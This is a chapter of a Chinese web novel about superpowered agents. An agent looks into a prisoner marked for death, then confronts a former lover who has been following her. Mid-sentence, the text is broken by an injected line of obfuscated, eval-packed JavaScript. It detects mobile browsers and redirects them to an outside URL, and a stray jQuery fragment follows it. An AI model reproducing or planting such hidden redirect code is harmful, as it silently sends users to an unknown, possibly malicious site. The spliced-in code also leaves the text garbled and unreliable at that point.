4. 第 4 章
    单看照片,这个郑骁还真是长得极其不面善,肤色略黑,身材高壮,断眉寸头,鹰钩鼻子,眼神凶狠得像是要吃人。

    档案第一页的阵营栏写着前黑庭成员。

    他的异能是增强五感,在测试中还表现出了很强的反应能力和攻击性,完全是一名合格的战士。论赤手空拳的搏斗,白许也摸不准他会不会和A级打的不分上下。

    郑骁在两周前自首入狱,因为故意杀人罪被判了无期。第一监狱里的异能犯每天都会被注射异能抑制剂,但这对郑骁惹麻烦的功力毫无作用。

    他三番两次和其他犯人起冲突,脾气暴躁易怒,冲动好战。就算让他住在禁闭室也没用,他会自残式地砸门,等到注射抑制剂的时候,甚至会抓住这个空档直接张口撕咬警卫暴露在外的身体皮肉。

    所以后来负责他的警卫全部换上了全包式装甲。

    “他这样的人,怎么会自首呢……”白许蹙着眉,轻声呢喃。

    “他来监狱避难的。”

    声音在头顶响起,白许一愣,转过头,看见一个穿着黑风衣的高个子男人,左胳膊应该是受伤,绑了纱布挂在脖子上,却并不影响他的气质。剑眉星目,五官帅得十分周正,他长了一张正气凛然的脸。

    安葵在一旁喊了声楚队,行动队其他队员也纷纷抬头打招呼。

    白许平静地与他对视,随后站起身,点了下头:“楚队早,我是白许。”

    楚佑坤盯着她的脸看了两秒,点点头:“我知道你,白医生。”

    她笑了笑:“哪个方面的知道?”

    楚佑坤也笑道:“很多方面。不过你放心,来了行动队,都是一家人,认真工作就行。”

    白许朝他礼貌地笑笑,晃了晃手里郑骁的档案,示意道:“介意详细说说吗?”

    两人来到办公厅外的隔间,楚佑坤开门见山:“郑骁就是前天晚上第一监狱遇袭事件的关键。”

    在他堂而皇之来到异管局自首的那天,楚佑坤的想法就和白许一样,他不认为郑骁这样的人会真的良心发现来自首,所以他一直密切关注着他入狱后的动静,一连到监狱那边蹲守了好几天。

    直到前天夜里发生爆炸,最大的那颗炸弹是在郑骁牢房的窗户上炸的。

    白许关注到一个问题:“第一监狱的墙体那么脆弱吗?”

    一炸就塌?

    楚佑坤也无奈:“当然不可能,第一监狱墙体的防爆等级是最高的。炸弹已经送去分析组了,结果估计得今晚才出得来。”

    白许点了点头:“所以,凶手不是为了劫狱,他压根就没想让郑骁活。”

    “对。”楚佑坤看着她。

    白许用手环把档案扫描完毕,随后装进资料袋,抬眼看向楚佑坤,正好对上了他打量的视线。

    她神色依旧淡然,对他复杂的目光不以为意,说:“那么根据目前的情况来看,郑骁退出黑庭,让自己入狱,其实是在躲避追杀。”

    楚佑坤对她点头:“能让郑骁害怕的人,只可能是黑庭高层。”

    白许放下资料袋,语气里是若有似无的笑意:“按照规矩,我们是不是不应该管异能者的内部矛盾?”

    “按照规矩,确实是这样,但这次情况不同。”

    “怎么?”

    楚佑坤的神色变得严肃,眉头紧锁,“郑骁昨天早上在医院醒过来,说出了他被追杀的原因。他说,黑庭的几个高层要秘密把一百千克玄金卖给青旗帮,他无意得知了消息,要被灭口。”

    青旗帮是让联邦政府最头疼的异能者组织,规模不算很大,但思想激进,认为异能者是代表未来的新人类,他们对许多律法不满,多次发起反动战争。但活动范围在南部地区,所以在达莱很少听到他们的消息。

    如果黑庭真要和青旗做生意,那就是明着跟南部分局作对了。

    楚佑坤继续道:“我们昨天晚上跟黑庭那边取得联系,他们否认了这个说法,说没有这回事,杀郑骁只是因为他坏了规矩。”

    白许恍然大悟:“所以我们的第一个任务是搞清楚郑骁这些话的真假。”

    “嗯,如果确有其事,异管局就必须介入了。”

    “如果没有呢?”她抬眼,看向楚佑坤。

    楚佑坤不自觉地移开视线,避过她直勾勾的眼神,“如果没有当然就不归我们管,找黑庭索赔那是别的部门的事。”

    “行,”白许点点头,抬步往外走,忽然想起什么,停下说:“今晚什么时候能去分析组拿报告?我打算明天早上就去见郑骁一面。”

    只有得到炸弹的分析报告,才能确定是不是黑庭的手笔。否则再多推测也是没有证据的空谈。

    楚佑坤惊异于她的办事态度,远超自己的预设。他回道:“那边说最晚八点。”

    白许点头,离开了隔间。

    接下来的时间她都在仔细研究郑晓的档案,十多页纸张,几乎把他半辈子履历都写进去了。

    信息是这个时代最便宜,也最昂贵的东西。但一个异能犯的信息,已经不再拥有隐私权。

    沉迷工作一整天,到了傍晚还是安葵提醒她到了下班时间。

    安葵笑着邀请她:“白许,我们今晚去楼下那家餐馆聚餐,要不要一起呀?”

    白许婉拒道:“我就不去了,回家再整理一下笔记,你们玩得开心就好。”

    毕竟她初来乍到,安葵也没有强求,嘱咐了句:“那你一个人回家注意安全啊,达莱到了晚上很不太平的。”

    “好,我一定注意。”

    白许点了份外卖,打算在办公室坐到八点。十五分钟后无人机飞到窗边,机械爪子敲了敲窗,外卖准时送达。

    走到窗边,打开窗户,从保温箱里取出外卖,白许的眼睛不经意间往下一瞥,瞧见了大楼下花圃中的一个黑色身影。

    她点击已送达按钮,可爱俏皮的机械音从无人机里传出来:“祝您用餐愉快!”

    无人机飞走后,她仍站在窗台边,低头看着那个身影,直到他抬头,隔着四层高度与她遥遥对视。

    下一秒,人消失了。

    有点落荒而逃的意味。

    白许扯动嘴角笑了,关上窗,转身回了工位。

    七点半时白许就拿到了新鲜出炉的报告,慢悠悠下楼回家。

    其实她大可以让分析组同事发电子版给她,但莫名地,她今晚很想留到最后。

    白许并不抵触这种无端的冲动决定,只要不影响正事,它们就会很有意思,罕见而多变的情绪让她惊喜。以及,她确实更喜欢纸张的质感。

    她挑了条小路走回家,人不多,但路灯还是十分明亮。

    一边走,她一边翻看着手里的报告,纸张翻页的声音很清脆,摩擦声也好听。晚风吹来凉意,树影在路灯下摇摆,女人的长发被撩起,像海浪一样自由,也像丝绸一样华美。

    脚步声从一个,变成了两个。

    走进小区,走到公寓楼下,白许平稳均匀的步伐停住了。

    她回头,看向那片浓墨似的阴影,微笑着轻声说:“许重枷,晚上好。”

    白许是个出类拔萃的美人,长相加上气质,都是充满了亲和力和圣洁感的天使形象。只有许重枷,一眼就能看出来,她脸上挂的笑容里面真和假究竟各掺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573038|142991||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了多少。

    比如现在,她其实压根就没有笑意。

    一阵静默,她耐心地停在原地等候。

    终于,高瘦的男人从阴影中走出来,黑色外套被吹扬起弧度。他的脸在路灯下显得有些苍白,五官被光晕模糊,让人看不真切,只有一双深色的瞳孔,目光灼灼,像某种猛兽的眼睛。

    而此刻,那双眼正静静凝视着她,里面有很多她看不明的情绪。

    唯一可以确定的是,没有思念或是喜悦一类的温柔感情。

    他歪了歪头,扯动嘴角,皮笑肉不笑地说:“好久不见啊,白许。”

    听见他微低的青年音,以及一如既往的欠揍语气,白许笑了声:“进去坐坐吗?”

    对面陷入沉默,一言不发地望着她。

    白许被夜晚的凉风吹得头疼,撩了撩头发,裹紧针织开衫,抱臂看他:“我的时间很宝贵,不想站在这里浪费。”

    他终于挪动步子朝她走近,很散漫地开口:“你要多少时间,我都能赔给你。”

    白许没再搭话,转身领着他上楼。

    两人一前一后,一路沉默,只剩脚步声。走到三楼,白许用了指纹解锁,打开门进去,翻出两双新买的拖鞋。

    许重枷低头看着,冷不丁开口:“我不要林山靖穿过的。”

    白许内心骂他幼稚,瞥他一眼:“爱进不进。”

    她不知道他在那做了多久的心理斗争,径直走进厨房泡了两杯热牛奶,出来就看见他已经换了鞋坐在沙发里,满脸不情愿。

    白许:“没人穿过,林山靖没换鞋。”

    不知道这话又按到他什么开关,张口就是怼:“他不换鞋能进,我进来必须换?”

    “他帮我搬了一下午东西,你干什么了?跟踪我?”

    她没给他回嘴的机会,继续输出:“你想确认到底是不是我,没关系,我给你一天的时间,但到了今天,还是我开口才出来见面,许重枷,你是这么被动的人吗?”

    “……你想兴师问罪了?”

    白许弯腰把一杯热牛奶放在他面前,仍然站着,垂眸俯视他,“我到达莱,就是来兴师问罪。”

    许重枷偏了偏头,笑了:“我还没问呢,轮得到你问。”

    她没说话,静静望着他,想听听他的脑回路如今又曲折成什么样了。

    “本来就应该是你先找我,说清楚当年发生的事。不告而别假死的是你,又不是我,白许,你站在什么立场给我扣罪名?”他脸上挂着冷笑。

    白许花了几秒思考他的这段话,有点纳闷了:“谁跟你不告而别,难道不是你这个混蛋一走了之?”

    两个人同时愣住。

    白许:“就在黑森林新基地外面,你莫名其妙跟我提分手,还说等时机到了在达莱再见。然后我就中弹了,清醒过来已经是一周后,还被转移到崎宁。”

    “谁开的枪?”许重枷站起身,眼神冷漠锐利,让人联想起刀锋。

    “这是重点吗?”

    “这就是我要的重点!我要宰了那个王八蛋。”

    白许吐出一口气,被他的烂脾气搞得头痛欲裂,闭了闭眼,喝了口牛奶,说:“我查不出来,那个破地方不在信号覆盖范围内。”

    “我去查,我让他碎尸万段。”许重枷语气狠厉,抬步就走。

    白许用力扯住他的手腕,“许重枷,冷静一点!你先解释当年那句话到底是什么意思!”

    他转头,垂眸盯着她的眼睛,神色是前所未有的认真:“我没说过那种话,也不可能说。这辈子,我都不会让你等什么破时机才跟我见面,更不会跟你分手。”